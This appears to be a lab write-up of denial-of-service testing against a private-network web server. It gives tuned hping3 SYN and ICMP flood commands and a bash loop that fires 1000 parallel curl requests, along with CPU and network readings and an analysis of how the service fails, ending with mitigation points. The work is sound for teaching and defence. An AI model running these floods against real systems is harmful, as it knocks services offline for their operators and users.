## Denial Of Service Impact Analysis

**Introduction:** This exercise examined how different packet-generation techniques impact the stability and performance of a web server within a controlled test environment. The objective was to reproduce denial-of-service conditions by manipulating packet rate and payload size, and to observe how those variables influence CPU utilisation, network throughput, and HTTP responsiveness.

**Baseline System Behaviour**

Before generating any attack traffic, the target machine was monitored under normal load. During this phase, the server consistently operated at:

- **CPU usage:** ~7–10%
- **Network traffic:** ~60–80 kB/s

These readings served as a baseline for comparison against the elevated utilisation seen during SYN-based and ICMP-based load tests.

```
┌──(kali㉿kali)-[~]
└─$ ./dos_monitor                                                    130 ✗
DDoS Stress Listener ...
Epoch: 1764463106 CPU Utilization: 7.50% Network RX: 61314 b/s Network
 TX: 61254 b/s
Epoch: 1764463109 CPU Utilization: 9.76% Network RX: 61620 b/s Network
 TX: 61500 b/s
Epoch: 1764463111 CPU Utilization: 9.76% Network RX: 62052 b/s Network
 TX: 61992 b/s
Epoch: 1764463114 CPU Utilization: 7.50% Network RX: 61150 b/s Network
 TX: 61090 b/s
Epoch: 1764463116 CPU Utilization: 9.76% Network RX: 82530 b/s Network
 TX: 82470 b/s
Epoch: 1764463119 CPU Utilization: 9.76% Network RX: 62380 b/s Network
 TX: 62320 b/s
Epoch: 1764463121 CPU Utilization: 9.76% Network RX: 41716 b/s Network
```

**Figure-1**

**Controlling CPU Load with hping3:** One of the goals in this lab was to determine whether CPU usage could be influenced in a predictable manner. Through iterative tuning of hping3 parameters primarily --interval and -d it was possible to drive the CPU to specific utilisation ranges such as **40%**, **60%**, and **85%**.

**Controlling CPU Utilisation with hping3 (SYN and ICMP)**

**40% SYN mode**

**sudo hping3 -V -S -p 80 --interval u10 -d 120 192.168.69.209**

```
Epoch: 1764462593 CPU Utilization: 40.48% Network RX: 2498146 b/s Netw
ork TX: 661526 b/s
Epoch: 1764462596 CPU Utilization: 40.48% Network RX: 2503916 b/s Netw
ork TX: 662924 b/s
Epoch: 1764462598 CPU Utilization: 36.59% Network RX: 2453926 b/s Netw
ork TX: 648724 b/s
Epoch: 1764462601 CPU Utilization: 42.86% Network RX: 2586088 b/s Netw
ork TX: 685216 b/s
Epoch: 1764462603 CPU Utilization: 42.86% Network RX: 2565380 b/s Netw
ork TX: 681032 b/s
Epoch: 1764462606 CPU Utilization: 41.46% Network RX: 2571806 b/s Netw
ork TX: 684272 b/s
Epoch: 1764462608 CPU Utilization: 40.48% Network RX: 2529428 b/s Netw
ork TX: 670364 b/s
Epoch: 1764462610 CPU Utilization: 40.48% Network RX: 2508968 b/s Netw
ork TX: 669350 b/s
Epoch: 1764462613 CPU Utilization: 43.18% Network RX: 2624040 b/s Netw
ork TX: 692646 b/s
Epoch: 1764462615 CPU Utilization: 42.86% Network RX: 2724648 b/s Netw
ork TX: 722754 b/s
Epoch: 1764462618 CPU Utilization: 44.19% Network RX: 2859394 b/s Netw
ork TX: 760174 b/s
Epoch: 1764462620 CPU Utilization: 42.86% Network RX: 2672564 b/s Netw
ork TX: 709728 b/s
Epoch: 1764462623 CPU Utilization: 44.19% Network RX: 2797062 b/s Netw
ork TX: 736140 b/s
Epoch: 1764462625 CPU Utilization: 40.00% Network RX: 2642372 b/s Netw
ork TX: 697592 b/s
Epoch: 1764462628 CPU Utilization: 44.19% Network RX: 2752614 b/s Netw
ork TX: 726834 b/s
Epoch: 1764462630 CPU Utilization: 41.46% Network RX: 2754608 b/s Netw
ork TX: 728072 b/s
Epoch: 1764462633 CPU Utilization: 40.00% Network RX: 2718162 b/s Netw
ork TX: 718428 b/s
Epoch: 1764462635 CPU Utilization: 39.53% Network RX: 2760024 b/s Netw
```

```
sport=80 flags=SA seq=0 win=64240 rtt=0.0 ms
seq=3192640651 ack=1907572951 sum=8452 urp=0

sport=80 flags=SA seq=0 win=64240 rtt=0.0 ms
seq=3262057719 ack=1360496251 sum=eaf0 urp=0

len=46 ip=192.168.69.209 ttl=64 DF id=0 tos=0 iplen=44
sport=80 flags=SA seq=0 win=64240 rtt=0.0 ms
seq=2096298010 ack=793136111 sum=a2a7 urp=0

sport=80 flags=SA seq=0 win=64240 rtt=0.0 ms
seq=282466450 ack=1224750973 sum=fded urp=0

len=46 ip=192.168.69.209 ttl=64 DF id=0 tos=0 iplen=44
sport=80 flags=SA seq=0 win=64240 rtt=0.0 ms
seq=807178041 ack=601193334 sum=4139 urp=0

len=46 ip=192.168.69.209 ttl=64 DF id=0 tos=0 iplen=44
sport=80 flags=SA seq=0 win=64240 rtt=0.0 ms
seq=2935869804 ack=1318919952 sum=c8a9 urp=0

sport=80 flags=SA seq=0 win=64240 rtt=0.0 ms
seq=3578699536 ack=1899475082 sum=c001 urp=0

len=46 ip=192.168.69.209 ttl=64 DF id=0 tos=0 iplen=44
sport=80 flags=SA seq=0 win=64240 rtt=0.0 ms
seq=405897517 ack=101080743 sum=d399 urp=0

len=46 ip=192.168.69.209 ttl=64 DF id=0 tos=0 iplen=44
sport=80 flags=SA seq=0 win=64240 rtt=0.0 ms
seq=2578557631 ack=634887441 sum=8490 urp=0

len=46 ip=192.168.69.209 ttl=64 DF id=0 tos=0 iplen=44
sport=80 flags=SA seq=0 win=64240 rtt=0.0 ms
seq=244545072 ack=1148834817 sum=9efa urp=0
```

**Figure-2**

Or, **sudo hping3 -V -S -p 80 --interval u6 192.168.69.209**

```
work TX: 713770 b/s
Epoch: 1764465986 CPU Utilization: 48.78% Network RX: 1516532 b/s Net
work TX: 770470 b/s
Epoch: 1764465988 CPU Utilization: 42.86% Network RX: 1374478 b/s Net
work TX: 699598 b/s
Epoch: 1764465990 CPU Utilization: 39.02% Network RX: 1408450 b/s Net
work TX: 717648 b/s
Epoch: 1764465993 CPU Utilization: 43.90% Network RX: 1409306 b/s Net
work TX: 723326 b/s
Epoch: 1764465995 CPU Utilization: 50.00% Network RX: 1543286 b/s Net
```

```
len=46 ip=192.168.69.209 ttl=64 DF id=0 tos=0 iplen=44
sport=80 flags=SA seq=0 win=64240 rtt=0.0 ms
seq=675171573 ack=94046965 sum=ec81 urp=0

len=46 ip=192.168.69.209 ttl=64 DF id=0 tos=0 iplen=44
sport=80 flags=SA seq=0 win=64240 rtt=0.0 ms
seq=2290574935 ack=61924369 sum=e31 urp=0

len=46 ip=192.168.69.209 ttl=64 DF id=0 tos=0 iplen=44
```

**Figure-3**

**40% ICMP mode**

**sudo hping3 -1 --interval u10 -d 240 192.168.69.209**

```
ork TX: 3328374 b/s
Epoch: 1764466400 CPU Utilization: 36.59% Network RX: 2950992 b/s Netw
ork TX: 2951274 b/s
Epoch: 1764466402 CPU Utilization: 35.71% Network RX: 2858018 b/s Netw
ork TX: 2858018 b/s
Epoch: 1764466404 CPU Utilization: 40.48% Network RX: 3069774 b/s Netw
ork TX: 3069432 b/s
Epoch: 1764466407 CPU Utilization: 33.33% Network RX: 3039528 b/s Netw
ork TX: 3039186 b/s
Epoch: 1764466409 CPU Utilization: 34.15% Network RX: 2844432 b/s Netw
ork TX: 2843928 b/s
Epoch: 1764466412 CPU Utilization: 36.59% Network RX: 2896766 b/s Netw
ork TX: 2877768 b/s
Epoch: 1764466414 CPU Utilization: 38.10% Network RX: 3040950 b/s Netw
ork TX: 3041232 b/s
Epoch: 1764466417 CPU Utilization: 41.46% Network RX: 2987784 b/s Netw
ork TX: 2987724 b/s
Epoch: 1764466419 CPU Utilization: 38.10% Network RX: 2973284 b/s Netw
```

```
len=268 ip=192.168.69.209 ttl=64 id=58161 icmp_seq=61222 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58162 icmp_seq=61223 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58163 icmp_seq=61224 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58164 icmp_seq=61225 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58165 icmp_seq=61226 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58166 icmp_seq=61227 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58167 icmp_seq=61228 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58168 icmp_seq=61229 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58169 icmp_seq=61230 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58170 icmp_seq=61231 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58171 icmp_seq=61232 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58172 icmp_seq=61233 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58173 icmp_seq=61234 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58174 icmp_seq=61235 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58175 icmp_seq=61236 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58176 icmp_seq=61237 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58177 icmp_seq=61238 rtt=0.0 ms
len=268 ip=192.168.69.209 ttl=64 id=58178 icmp_seq=61239 rtt=0.0 ms
```

**Figure-4**

**60% SYN mode**

**sudo hping3 -V -S -p 80 --interval u4 -d 120 192.168.69.209**

```
ork TX: 2278762 b/s
Epoch: 1764466831 CPU Utilization: 66.67% Network RX: 7777312 b/s Netw
ork TX: 2018278 b/s
Epoch: 1764466833 CPU Utilization: 65.85% Network RX: 7902356 b/s Netw
ork TX: 2051234 b/s
Epoch: 1764466835 CPU Utilization: 66.67% Network RX: 8078220 b/s Netw
ork TX: 2095570 b/s
Epoch: 1764466838 CPU Utilization: 76.74% Network RX: 8431504 b/s Netw
ork TX: 2187328 b/s
Epoch: 1764466840 CPU Utilization: 73.33% Network RX: 8251442 b/s Netw
ork TX: 2142692 b/s
Epoch: 1764466842 CPU Utilization: 65.85% Network RX: 7825100 b/s Netw
```

```
len=46 ip=192.168.69.209 ttl=64 DF id=0 tos=0 iplen=44
sport=80 flags=SA seq=0 win=64240 rtt=0.0 ms
seq=1444172761 ack=1921176748 sum=5336 urp=0

sport=80 flags=SA seq=0 win=64240 rtt=0.0 ms
len=46 ip=192.168.69.209 ttl=64 DF id=0 tos=0 iplen=44
seq=2613900026 ack=2109477651 sum=d707 urp=0

seq=943275432 ack=629850411 sum=d5ca urp=0

len=46 ip=192.168.69.209 ttl=64 DF id=0 tos=0 iplen=44
sport=80 flags=SA seq=0 win=64240 rtt=0.0 ms
```

**Figure-5**

**60% ICMP mode**

**sudo hping3 -1 --interval u4 -d 120 192.168.69.209**

```
ork TX: 5840036 b/s
Epoch: 1764466628 CPU Utilization: 69.05% Network RX: 5805284 b/s Netw
ork TX: 5805122 b/s
Epoch: 1764466630 CPU Utilization: 57.14% Network RX: 5777016 b/s Netw
ork TX: 5776368 b/s
Epoch: 1764466633 CPU Utilization: 72.09% Network RX: 5898256 b/s Netw
ork TX: 5898196 b/s
Epoch: 1764466635 CPU Utilization: 71.43% Network RX: 6366842 b/s Netw
ork TX: 6366458 b/s
Epoch: 1764466637 CPU Utilization: 66.67% Network RX: 7753072 b/s Netw
```

```
round-trip min/avg/max = 0.0/0.0/0.0 ms

┌──(kali㉿kali)-[~]
└─$ sudo hping3 -1 --interval u4 -d 120 192.168.69.209          1 ✗
HPING 192.168.69.209 (eth0 192.168.69.209): icmp mode set, 28 headers
+ 120 data bytes
^C
--- 192.168.69.209 hping statistic ---
4120608 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```

**Figure-6**

**85% SYN**

```
Epoch: 1764467115 CPU Utilization: 85.71% Network RX: 11693290 b/s Net
work TX: 2008570 b/s
Epoch: 1764467117 CPU Utilization: 83.33% Network RX: 11852934 b/s Net
work TX: 2035536 b/s
Epoch: 1764467119 CPU Utilization: 85.00% Network RX: 12049800 b/s Net
work TX: 2064336 b/s
Epoch: 1764467121 CPU Utilization: 85.37% Network RX: 12027260 b/s Net
work TX: 2062362 b/s
Epoch: 1764467123 CPU Utilization: 85.71% Network RX: 11958064 b/s Net
work TX: 2049484 b/s
Epoch: 1764467125 CPU Utilization: 80.95% Network RX: 11228136 b/s Net
work TX: 1925016 b/s
Epoch: 1764467128 CPU Utilization: 93.02% Network RX: 12373092 b/s Net
work TX: 2121000 b/s
```

**Figure-7**

**85% ICMP**

```
Epoch: 1764467444 CPU Utilization: 83.33% Network RX: 9961984 b/s Netw
ork TX: 9961702 b/s
Epoch: 1764467446 CPU Utilization: 84.09% Network RX: 10277788 b/s Net
work TX: 10277224 b/s
Epoch: 1764467449 CPU Utilization: 83.72% Network RX: 10102444 b/s Net
work TX: 10102102 b/s
Epoch: 1764467451 CPU Utilization: 86.05% Network RX: 10266828 b/s Net
work TX: 10266768 b/s
Epoch: 1764467454 CPU Utilization: 85.37% Network RX: 10183800 b/s Net
work TX: 10184082 b/s
Epoch: 1764467456 CPU Utilization: 88.37% Network RX: 10290760 b/s Net
work TX: 10291888 b/s
Epoch: 1764467459 CPU Utilization: 80.00% Network RX: 10093232 b/s Net
work TX: 10093232 b/s
Epoch: 1764467461 CPU Utilization: 73.81% Network RX: 9965746 b/s Netw
ork TX: 9965464 b/s
Epoch: 1764467463 CPU Utilization: 83.33% Network RX: 10277002 b/s Net
work TX: 10277788 b/s
Epoch: 1764467466 CPU Utilization: 83.72% Network RX: 10294404 b/s Net
work TX: 10280244 b/s
Epoch: 1764467468 CPU Utilization: 88.10% Network RX: 10651084 b/s Net
work TX: 10651366 b/s
Epoch: 1764467470 CPU Utilization: 88.10% Network RX: 10682986 b/s Net
```

**Figure-8**

**General Observations**

- SYN packets generated far higher packet-per-second rates and stressed the CPU faster.
- ICMP required increased payload size to match SYN-induced utilization.
- Once utilization approached ~85-90%, the HTTP service became unreliable and often stopped responding altogether.

**Methodology for HTTP Request Impact**

To evaluate HTTP degradation, a burst of automated HTTP requests was generated using a bash loop running curl commands in parallel:

```
#!/bin/bash
for i in {1..1000}
do
    curl http://192.168.69.209/index.php?encrypt=mystuff > /dev/null 2>&1 &
done
```

```
TX: 61828 b/s
Epoch: 1764474692 CPU Utilization: 5.13% Network RX: 61718 b/s Network
 TX: 61418 b/s
Epoch: 1764474694 CPU Utilization: 17.50% Network RX: 79603 b/s Networ
k TX: 91200 b/s
Epoch: 1764474697 CPU Utilization: 25.58% Network RX: 98353 b/s Networ
k TX: 153618 b/s
Epoch: 1764474699 CPU Utilization: 25.00% Network RX: 121361 b/s Netwo
rk TX: 172194 b/s
Epoch: 1764474702 CPU Utilization: 24.44% Network RX: 121053 b/s Netwo
rk TX: 164540 b/s
```

**Figure-9**

**Methodology**:

i. **Incremental Load Testing:** Started with small loops (e.g., 50–100 requests), monitored HTTP response times and CPU load.

ii. **Parallel Execution:** The ampersand (&) executes each curl request as a background process, simulating mass concurrent clients.

iii. **Observation Points:**

- Response time spikes
- Incomplete HTTP responses
- Timeout or connection errors
- CPU utilisation correlation

iv. **Combining Attacks:** Once a baseline of HTTP instability was noted, additional hping3 traffic amplified system degradation, demonstrating multi-vector DoS behaviour.

At around 1000 concurrent HTTP requests, the service became noticeably unstable even without SYN/ICMP flooding. When combined with hping3, the service became fully unresponsive.

**DoS Attack Chain:** During testing, a clear pattern emerged showing how the system degraded under pressure.

The service didn't fail all at once; instead, it followed a predictable cascade:

**Network Stack Saturation**

- High interrupt rates from packet floods
- Kernel softirq queues filled
- Significant packet drops and retries

**CPU Pressure**

- SYN packets forced large numbers of half-open connections
- ICMP packets triggered repeated echo-reply handling
- Increased context switching led to scheduling delays

**Buffer and Memory Strain**

- Network buffers filled faster than the kernel could empty them
- Socket tables became crowded, causing connection failures

**Application-Layer Collapse**

- The web server was starved of CPU time
- Worker threads waited indefinitely
- Service ultimately became unreachable

This chain reflects a typical real-world DoS failure pattern: the lower-level network handling collapses first, dragging the application layer down with it.

**Conclusion:** This lab clearly demonstrated how modest packet floods and concurrent HTTP load can escalate into a full denial-of-service condition. By adjusting hping3 parameters, CPU utilisation could be controlled with precision, and once pushed beyond roughly 85%, the target server consistently became unresponsive.

The exercise highlights the importance of rate limiting, kernel tuning, and proper network throttling to prevent relatively simple traffic patterns from overwhelming a service.